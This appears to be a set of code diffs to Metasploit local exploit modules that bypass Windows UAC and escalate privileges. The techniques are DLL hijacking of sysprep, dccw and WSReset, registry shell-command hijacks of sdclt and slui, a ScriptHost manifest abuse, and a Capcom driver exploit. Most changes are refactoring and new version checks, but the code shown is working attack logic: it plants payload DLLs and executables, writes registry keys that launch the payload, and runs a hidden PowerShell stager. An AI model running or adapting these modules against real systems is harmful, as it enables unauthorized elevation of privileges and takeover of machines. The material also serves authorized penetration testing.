if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)
print_good("#{version_info.product_name} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")
end
if is_uac_enabled?
@ -220,13 +215,13 @@ class MetasploitModule < Msf::Exploit::Local
def get_file_paths(win_path, payload_filepath)
paths = {}
case sysinfo['OS']
when /Windows (7|2008)/
version_info = get_version_info
if version_info.win7_or_2008r2?
paths[:szElevDll] = 'CRYPTBASE.dll'
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
when /Windows (8|2012|10)/
else
paths[:szElevDll] = 'NTWDBLIB.dll'
paths[:szElevDir] = "#{win_path}\\System32"
# This should be fine to be left blank

View File

@ -93,9 +93,9 @@ class MetasploitModule < Msf::Exploit::Local
# Establish the folder pattern so as to get those folders that match it
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
end
directoryNames = get_directories(payload_filepath, targetedDirectories)
@ -117,14 +117,12 @@ class MetasploitModule < Msf::Exploit::Local
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
else
::File.join(path, "bypassuac-x86.dll")
::File.join(path, 'bypassuac-x86.dll')
end
elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
::File.join(path, 'bypassuac-x64.dll')
else
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
else
::File.join(path, "bypassuac-x64.dll")
end
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
end
end
@ -137,12 +135,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
@ -192,9 +188,9 @@ class MetasploitModule < Msf::Exploit::Local
end
# Upload only one DLL, the rest will be copied into the specific folders
def upload_payload_dll(payload_filepath, directoryNames)
def upload_payload_dll(_payload_filepath, directoryNames)
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
payload = generate_payload_dccw_gdiplus_dll({ :dll_exitprocess => true })
payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
@ -212,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Local
def copy_payload_dll(directoryNames, dllPath)
1.step(directoryNames.size - 1, 1) do |i|
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')
end
end
end
@ -221,13 +217,12 @@ class MetasploitModule < Msf::Exploit::Local
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo['OS']
case winver
when /Windows (8|10)/
print_good("#{winver} may be vulnerable.")
version = get_version_info
if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||
(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))
print_good("#{version.product_name} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
end
if is_uac_enabled?
@ -245,7 +240,7 @@ class MetasploitModule < Msf::Exploit::Local
def create_directories(payload_filepath, directoryNames)
env_vars = get_envs('TEMP')
print_status("Creating temporary folders...")
print_status('Creating temporary folders...')
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
end
@ -261,19 +256,19 @@ class MetasploitModule < Msf::Exploit::Local
def get_directories(payload_filepath, targetedDirectories)
directoryNames = []
findFileDataSize = 592
maxPath = client.railgun.const("MAX_PATH")
maxPath = client.railgun.const('MAX_PATH')
fileNamePadding = 44
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
end
findFileData = hFile['lpFindFileData']
moreFiles = true
until moreFiles == false do
until moreFiles == false
fileAttributes = findFileData[0, 4].unpack('V').first
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')
if andOperation
# Removes the remainder part composed of 'A' of the path and the last null character
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first
@ -287,8 +282,8 @@ class MetasploitModule < Msf::Exploit::Local
end
client.railgun.kernel32.FindClose(hFile['return'])
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
end
directoryNames
@ -330,8 +325,8 @@ class MetasploitModule < Msf::Exploit::Local
# When a new session is obtained, it removes the dropped elements (files and folders)
def on_new_session(session)
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')
session.core.use('stdapi')
end
remove_dropped_elements(session)
end
@ -345,9 +340,9 @@ class MetasploitModule < Msf::Exploit::Local
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
end
directoryNames = get_directories(payload_filepath, targetedDirectories)
@ -366,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
def remove_dlls(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last
directoryName = dirName.split('\\').last
begin
droppedElements.push("#{dirName}\\GdiPlus.dll")
@ -387,7 +382,7 @@ class MetasploitModule < Msf::Exploit::Local
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last
directoryName = dirName.split('\\').last
begin
droppedElements.push(dirName)
@ -427,21 +422,19 @@ class MetasploitModule < Msf::Exploit::Local
successfullyRemoved = true
droppedElements.each do |element|
begin
stat = session.fs.file.stat(element)
if stat
print_error("Unable to delete #{element}!")
successfullyRemoved = false
end
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
stat = session.fs.file.stat(element)
if stat
print_error("Unable to delete #{element}!")
successfullyRemoved = false
end
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
if successfullyRemoved
print_good("All the dropped elements have been successfully removed")
print_good('All the dropped elements have been successfully removed')
else
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')
end
end
end

View File

@ -63,7 +63,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
@ -71,13 +72,11 @@ class MetasploitModule < Msf::Exploit::Local
end
def write_reg_values(registry_key, payload_pathname)
begin
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
rescue ::Exception => e
print_error(e.to_s)
end
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ')
registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ')
rescue ::Exception => e
print_error(e.to_s)
end
def exploit
@ -104,55 +103,55 @@ class MetasploitModule < Msf::Exploit::Local
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
vprint_status('win_dir = ' + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "sdclt.exe"
vprint_status("exploit_file = " + target_filepath)
vprint_status('tmp_dir = ' + tmp_dir)
exploit_dir = win_dir + '\\System32\\'
vprint_status('exploit_dir = ' + exploit_dir)
target_filepath = exploit_dir + 'sdclt.exe'
vprint_status('exploit_file = ' + target_filepath)
# make payload
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
payload_pathname = tmp_dir + '\\' + payload_name
vprint_status("payload_pathname = " + payload_pathname)
vprint_status("Making Payload")
vprint_status('payload_pathname = ' + payload_pathname)
vprint_status('Making Payload')
payload = generate_payload_exe
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
vprint_status("reg_command = " + reg_command)
vprint_status('reg_command = ' + reg_command)
write_reg_values(@registry_key, reg_command)
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status('Payload Upload Complete')
vprint_status("Launching " + target_filepath)
vprint_status('Launching ' + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue ::Exception => e
print_error("Executing command failed:\n#{e}")
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
print_status("Please wait for session and cleanup....")
print_status('Please wait for session and cleanup....')
end
def cleanup
if @registry_key.present?
vprint_status("Removing Registry Changes")
vprint_status('Removing Registry Changes')
if @remove_registry_key
registry_deletekey(@registry_key)
else
registry_deleteval(@registry_key, "DelegateExecute")
registry_deleteval(registry_key, "DelegateExecute")
registry_deleteval(@registry_key, '')
end
print_status("Registry Changes Removed")
print_status('Registry Changes Removed')
end
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin

View File

@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Registry
include Post::Windows::Runas
SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze
SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze
SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze
CMD_MAX_LEN = 16383
def initialize(info = {})
@ -68,7 +68,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)
CheckCode::Appears
else
CheckCode::Safe
@ -82,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Local
commspec = 'powershell'
registry_view = REGISTRY_VIEW_NATIVE
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
@ -92,18 +93,16 @@ class MetasploitModule < Msf::Exploit::Local
if target_arch.first == ARCH_X64
# We can't use absolute path here as
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
psh_path = "powershell.exe"
psh_path = 'powershell.exe'
end
end
if target_arch.first == ARCH_X86
# Invoking x86, so switch to SysWOW64
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
end
else
elsif target_arch.first == ARCH_X64
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
@ -138,14 +137,14 @@ class MetasploitModule < Msf::Exploit::Local
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
if existing.empty?
registry_createkey(SLUI_WRITE_KEY, registry_view)
end
print_status("Configuring payload and stager registry keys ...")
print_status('Configuring payload and stager registry keys ...')
unless exist_delegate
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
end
@ -167,7 +166,7 @@ class MetasploitModule < Msf::Exploit::Local
handler(client)
print_status("Cleaning up ...")
print_status('Cleaning up ...')
unless exist_delegate
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
end
@ -181,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Local
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
@ -192,12 +191,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -12,32 +12,33 @@ class MetasploitModule < Msf::Exploit::Local
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
'Description' => %q{
This module will bypass Windows UAC by utilizing the missing .manifest on the script host
cscript/wscript.exe binaries.
},
'License' => MSF_LICENSE,
'Author' => [
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
'Description' => %q{
This module will bypass Windows UAC by utilizing the missing .manifest on the script host
cscript/wscript.exe binaries.
},
'License' => MSF_LICENSE,
'Author' => [
'Vozzie',
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
],
'DefaultTarget' => 0,
'References' => [
['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'],
['URL', 'https://github.com/Vozzie/uacscript']
],
'DisclosureDate'=> '2015-08-22'
))
'DisclosureDate' => '2015-08-22'
)
)
end
def exploit
@ -52,19 +53,18 @@ class MetasploitModule < Msf::Exploit::Local
env_vars = get_envs('TEMP', 'WINDIR')
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"
@ -82,12 +82,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
@ -97,9 +95,9 @@ class MetasploitModule < Msf::Exploit::Local
def upload_vbs(payload_filepath)
vbs = File.read(File.join(Msf::Config.data_directory,
'exploits',
'scripthost_uac_bypass',
'bypass.vbs'))
'exploits',
'scripthost_uac_bypass',
'bypass.vbs'))
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
@ -117,13 +115,11 @@ class MetasploitModule < Msf::Exploit::Local
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo['OS']
case winver
when /Windows (7|2008)/
print_good("#{winver} may be vulnerable.")
version = get_version_info
if version.win7_or_2008r2?
print_good("#{version.product_name} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
end
if is_uac_enabled?

View File

@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Local
},
'DisclosureDate' => '2019-08-22',
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'References' => [
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
@ -53,13 +53,14 @@ class MetasploitModule < Msf::Exploit::Local
stdapi_sys_process_execute
]
}
},
}
)
)
end
def check
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
version = get_version_info
if version.build_number > Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && exists?('C:\\Windows\\System32\\WSReset.exe')
return CheckCode::Appears
end
@ -93,9 +94,9 @@ class MetasploitModule < Msf::Exploit::Local
return
end
exploit_win_dir = "C:\\Windows \\"
exploit_dir = "C:\\Windows \\System32\\"
exploit_file = exploit_dir + "WSReset.exe"
exploit_win_dir = 'C:\\Windows \\'
exploit_dir = 'C:\\Windows \\System32\\'
exploit_file = exploit_dir + 'WSReset.exe'
unless exists? exploit_win_dir
print_status("Creating directory '#{exploit_win_dir}'...")
session.fs.dir.mkdir(exploit_win_dir)
@ -105,14 +106,14 @@ class MetasploitModule < Msf::Exploit::Local
session.fs.dir.mkdir(exploit_dir)
end
unless exists? exploit_file
session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file)
session.fs.file.copy('C:\\Windows\\System32\\WSReset.exe', exploit_file)
end
payload_dll = "C:\\Windows \\System32\\propsys.dll"
payload_dll = 'C:\\Windows \\System32\\propsys.dll'
print_status("Creating payload '#{payload_dll}'...")
payload = generate_payload_dll
write_file(payload_dll, payload)
print_status("Executing WSReset.exe...")
print_status('Executing WSReset.exe...')
begin
session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, { 'Hidden' => true })
rescue ::Exception => e
@ -123,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
@ -134,12 +135,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -61,7 +61,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\Windows\\System32\\WSReset.exe')
return CheckCode::Appears
end
@ -88,40 +89,40 @@ class MetasploitModule < Msf::Exploit::Local
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
vprint_status('win_dir = ' + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
reset_filepath = exploit_dir + "WSReset.exe"
vprint_status("exploit_file = " + reset_filepath)
vprint_status('tmp_dir = ' + tmp_dir)
exploit_dir = win_dir + '\\System32\\'
vprint_status('exploit_dir = ' + exploit_dir)
reset_filepath = exploit_dir + 'WSReset.exe'
vprint_status('exploit_file = ' + reset_filepath)
# make payload
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
payload_pathname = tmp_dir + '\\' + payload_name
vprint_status("payload_pathname = " + payload_pathname)
vprint_status("Making Payload")
vprint_status('payload_pathname = ' + payload_pathname)
vprint_status('Making Payload')
payload = generate_payload_exe
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
vprint_status("reg_command = " + reg_command)
@registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
@registry_key = 'HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command'
# make registry changes
vprint_status("Making Registry Changes")
begin
registry_createkey(@registry_key)
registry_setvaldata(@registry_key, "DelegateExecute", '', "REG_SZ")
registry_setvaldata(@registry_key, '', reg_command, "REG_SZ")
registry_setvaldata(@registry_key, 'DelegateExecute', '', 'REG_SZ')
registry_setvaldata(@registry_key, '', reg_command, 'REG_SZ')
rescue ::Exception => e
print_error(e.to_s)
end
vprint_status("Registry Changes Complete")
vprint_status('Registry Changes Complete')
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status('Payload Upload Complete')
vprint_status("Launching " + reset_filepath)
vprint_status('Launching ' + reset_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
rescue ::Exception => e
@ -132,15 +133,15 @@ class MetasploitModule < Msf::Exploit::Local
def cleanup
if @registry_key.present?
vprint_status("Removing Registry Changes")
vprint_status('Removing Registry Changes')
registry_deletekey(@registry_key)
vprint_status("Registry Changes Removed")
vprint_status('Registry Changes Removed')
end
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
@ -151,12 +152,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]

View File

@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X64 } ]
@ -60,7 +60,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] !~ /windows (7|8|10)/i
version = get_version_info
if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?
return Exploit::CheckCode::Unknown
end
@ -71,13 +72,13 @@ class MetasploitModule < Msf::Exploit::Local
# Validate that the driver has been loaded and that
# the version is the same as the one expected
client.sys.config.getdrivers.each do |d|
if d[:basename].downcase == 'capcom.sys'
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
target_checksum = client.fs.file.md5(d[:filename])
next unless d[:basename].downcase == 'capcom.sys'
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
return Exploit::CheckCode::Appears
end
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
target_checksum = client.fs.file.md5(d[:filename])
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
return Exploit::CheckCode::Appears
end
end

View File

@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Local
payload_exe = generate_payload_exe
# Check target
vprint_status("Checking Target")
vprint_status('Checking Target')
validate_active_host
validate_target
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
@ -95,42 +95,39 @@ class MetasploitModule < Msf::Exploit::Local
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
# Upload Payload
vprint_status("Uploading Payload")
vprint_status('Uploading Payload')
ensure_clean_destination(payload_path)
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
# Run Exploit
vprint_status("Running Exploit")
print_status("It may take a moment after the session is established for the exploit to exit safely.")
vprint_status('Running Exploit')
print_status('It may take a moment after the session is established for the exploit to exit safely.')
begin
cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
vprint_status("Cleaning up #{exploit_path}")
ensure_clean_destination(exploit_path)
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
